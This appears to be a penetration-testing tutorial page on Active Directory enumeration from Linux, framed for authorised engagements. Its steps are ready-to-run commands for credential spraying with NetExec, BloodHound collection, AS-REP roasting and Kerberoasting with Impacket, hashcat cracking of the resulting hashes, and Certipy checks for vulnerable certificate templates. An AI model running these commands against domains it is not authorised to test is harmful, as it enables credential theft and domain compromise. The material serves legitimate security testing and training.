Skip to content

Advanced 30 minUpdated 2026-11-06

Active Directory enumeration

You have one set of valid domain credentials — perhaps from password spraying or a captured hash — and a route to a domain controller. This guide enumerates the domain and finds attack paths, all with tools that run from Linux. For authorised engagements only, against domains you are permitted to test.

  1. Validate the credentials

    Confirm the credentials work and see what they can reach across SMB before anything else.

    • netexec smb 10.10.10.0/24 -u svc -p Password123

      Spray the credential across the subnet and list hosts, signing and shares.

    • netexec smb 10.10.10.1 -u svc -p Password123 --users

      Enumerate domain users from the DC.

    All 100 CrackMapExec / NetExec commands
  2. Enumerate the directory

    Pull users, groups, computers and policy from LDAP. The password policy tells you how aggressively you can spray.

    • netexec ldap 10.10.10.1 -u svc -p Password123 --kdcHost 10.10.10.1 --bloodhound --collection All

      Enumerate and collect BloodHound data in one step.

    All 70 ldapsearch commands
  3. Collect attack paths with BloodHound

    Ingest the domain into BloodHound to see the shortest paths from your foothold to high-value targets.

    • bloodhound-python -u svc -p Password123 -d corp.local -ns 10.10.10.1 -c All --zip

      Collect objects, ACLs and sessions into a zip for import.

    All 8 BloodHound.py commands
  4. Roast Kerberos

    AS-REP and Kerberoasting turn ordinary accounts into crackable hashes with no special privileges.

    • GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.1

      AS-REP roast accounts without pre-auth.

    • GetUserSPNs.py corp.local/svc:Password123 -dc-ip 10.10.10.1 -request

      Kerberoast service accounts.

    All 13 Impacket commands
  5. Crack what you collected

    Feed the roasted hashes to hashcat offline. Cracked service accounts are often a step up in privilege.

    • hashcat -m 13100 kerb.txt rockyou.txt

      Crack TGS-REP (Kerberoast) hashes.

    • hashcat -m 18200 asrep.txt rockyou.txt

      Crack AS-REP hashes.

    All 100 Hashcat commands
  6. Check certificate services

    AD CS misconfigurations (ESC1 and friends) are a common and reliable path to Domain Admin.

    • certipy find -u svc@corp.local -p Password123 -dc-ip 10.10.10.1 -vulnerable -stdout

      Flag vulnerable certificate templates.

    All 6 Certipy commands

BloodHound usually makes the next move obvious: a group membership, an ACL, or a delegation that leads upward. Validate each edge before acting on it, and keep careful notes — AD paths can be long, and defenders are watching these exact protocols.